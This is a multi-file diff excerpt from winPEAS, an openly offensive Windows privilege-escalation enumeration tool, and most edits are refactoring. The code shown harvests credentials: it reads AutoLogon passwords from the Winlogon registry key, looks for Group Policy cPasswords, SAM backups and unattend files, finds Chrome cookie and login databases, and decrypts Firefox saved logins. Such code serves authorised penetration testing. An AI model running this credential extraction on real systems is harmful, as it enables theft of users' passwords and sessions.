{ "526", "Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
|
||||
{ "527", "Enterprise Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
|
||||
{ "553", "RAS and IAS Servers" }, //A domain local group. By default, this group has no members. Servers in this group have Read Account Restrictions and Read Logon Information access to User objects in the Active Directory domain local group.
|
||||
|
||||
@@ -3,6 +3,7 @@ using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
|
||||
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||
strBuilder.EnsureCapacity(luidNameLen + 1);
|
||||
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}";
|
||||
Marshal.FreeHGlobal(luidPointer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ using System.Windows.Forms;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.UserInfo.SAM;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
@@ -250,15 +251,14 @@ namespace winPEAS.Info.UserInfo
|
||||
|
||||
public static Dictionary<string, string> GetAutoLogon()
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>
|
||||
{
|
||||
["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
|
||||
["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
|
||||
["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
|
||||
["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
|
||||
["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
|
||||
["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
|
||||
};
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
|
||||
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName");
|
||||
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName");
|
||||
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword");
|
||||
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName");
|
||||
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName");
|
||||
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword");
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
|
||||
|
||||
try
|
||||
{
|
||||
string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||
|
||||
if (!allUsers.Contains("ProgramData"))
|
||||
{
|
||||
@@ -225,13 +225,11 @@ namespace winPEAS.InterestingFiles
|
||||
Changed = "[BLANK]";
|
||||
}
|
||||
|
||||
results[file] = new Dictionary<string, string>
|
||||
{
|
||||
["UserName"] = UserName,
|
||||
["NewName"] = NewName,
|
||||
["cPassword"] = cPassword,
|
||||
["Changed"] = Changed
|
||||
};
|
||||
results[file] = new Dictionary<string, string>();
|
||||
results[file]["UserName"] = UserName;
|
||||
results[file]["NewName"] = NewName;
|
||||
results[file]["cPassword"] = cPassword;
|
||||
results[file]["Changed"] = Changed;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
|
||||
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
||||
};
|
||||
|
||||
results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
|
||||
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation)));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
|
||||
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
||||
int lastDays = 30;
|
||||
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
var startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
// Shell COM object GUID
|
||||
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
||||
|
||||
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
|
||||
|
||||
try
|
||||
{
|
||||
var winDir = Environment.GetEnvironmentVariable("windir");
|
||||
var winDir = System.Environment.GetEnvironmentVariable("windir");
|
||||
string[] searchLocations =
|
||||
{
|
||||
$"{winDir}\\sysprep\\sysprep.xml",
|
||||
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
|
||||
$"{winDir}\\..\\unattend.inf",
|
||||
};
|
||||
|
||||
results.AddRange(searchLocations.Where(File.Exists));
|
||||
results.AddRange(searchLocations.Where(System.IO.File.Exists));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Script.Serialization;
|
||||
using winPEAS.Checks;
|
||||
@@ -27,8 +26,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for Chrome DBs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, string> chromeDBs = GetChromeDbs();
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
||||
|
||||
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
||||
{
|
||||
@@ -59,8 +58,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
||||
List<string> history = chromeHistBook["history"];
|
||||
List<string> bookmarks = chromeHistBook["bookmarks"];
|
||||
|
||||
@@ -78,11 +77,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
Console.WriteLine();
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -134,14 +130,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
else
|
||||
{
|
||||
string userChromeCookiesPath =
|
||||
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||
if (File.Exists(userChromeCookiesPath))
|
||||
{
|
||||
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
||||
}
|
||||
|
||||
string userChromeLoginDataPath =
|
||||
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||
if (File.Exists(userChromeLoginDataPath))
|
||||
{
|
||||
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
||||
@@ -160,7 +156,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
List<string> results = new List<string>();
|
||||
|
||||
// parses a Chrome history file via regex
|
||||
if (File.Exists(path))
|
||||
if (System.IO.File.Exists(path))
|
||||
{
|
||||
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||
|
||||
@@ -221,10 +217,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
}
|
||||
else
|
||||
{
|
||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
||||
|
||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
||||
}
|
||||
@@ -245,7 +241,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
try
|
||||
{
|
||||
string contents = File.ReadAllText(path);
|
||||
string contents = System.IO.File.ReadAllText(path);
|
||||
|
||||
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||
JavaScriptSerializer json = new JavaScriptSerializer();
|
||||
|
||||
@@ -1,4 +1,10 @@
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
class FFLogins
|
||||
{
|
||||
|
||||
@@ -4,11 +4,11 @@ using System.Data;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Script.Serialization;
|
||||
using winPEAS._3rdParty.SQLite;
|
||||
using winPEAS.Checks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds.Browsers.Models;
|
||||
using winPEAS._3rdParty.SQLite;
|
||||
using System.Web.Script.Serialization;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
@@ -28,8 +28,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for Firefox DBs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxDBs = GetFirefoxDbs();
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
||||
if (firefoxDBs.Count > 0)
|
||||
{
|
||||
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
||||
@@ -55,27 +55,22 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> history = GetFirefoxHistory();
|
||||
if (history.Count > 0)
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
||||
if (firefoxHist.Count > 0)
|
||||
{
|
||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||
{
|
||||
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
foreach (string url in history)
|
||||
foreach (string url in firefoxHist)
|
||||
{
|
||||
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
||||
{
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -106,7 +101,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||
if (Directory.Exists(userFirefoxBasePath))
|
||||
if (System.IO.Directory.Exists(userFirefoxBasePath))
|
||||
{
|
||||
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
||||
foreach (string directory in directories)
|
||||
@@ -253,8 +248,6 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
}
|
||||
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
if (Directory.Exists(dir))
|
||||
{
|
||||
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
||||
if (files.Length > 0)
|
||||
@@ -276,7 +269,6 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
FFDecryptor.NSS_Init(dir);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -321,8 +313,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
|
||||
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
||||
{
|
||||
string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||
string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||
logins.Add(new CredentialModel
|
||||
{
|
||||
Username = username,
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Checks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
@@ -29,8 +29,8 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Current IE tabs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> urls = GetCurrentIETabs();
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
||||
|
||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||
{
|
||||
@@ -50,10 +50,10 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
|
||||
List<string> history = ieHistoryBook["history"];
|
||||
List<string> favorites = ieHistoryBook["favorites"];
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
||||
List<string> history = chromeHistBook["history"];
|
||||
List<string> favorites = chromeHistBook["favorites"];
|
||||
|
||||
if (history.Count > 0)
|
||||
{
|
||||
@@ -69,15 +69,8 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"IE history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.NotFoundPrint();
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
Beaprint.MainPrint("IE favorites");
|
||||
@@ -98,7 +91,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{ "favorites", new List<string>() },
|
||||
};
|
||||
|
||||
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
try
|
||||
{
|
||||
@@ -173,15 +166,24 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
if ((settings != null) && (settings.Count != 0))
|
||||
{
|
||||
foreach (KeyValuePair<string, object> kvp in settings)
|
||||
{
|
||||
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim());
|
||||
if (timeBytes != null)
|
||||
{
|
||||
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
|
||||
DateTime urlTime = DateTime.FromFileTime(timeLong);
|
||||
if (urlTime > startTime)
|
||||
{
|
||||
results["history"].Add(kvp.Value.ToString().Trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
if (Directory.Exists(userIEBookmarkPath))
|
||||
{
|
||||
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
||||
|
||||
foreach (string bookmarkPath in bookmarkPaths)
|
||||
{
|
||||
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
||||
@@ -202,7 +204,6 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user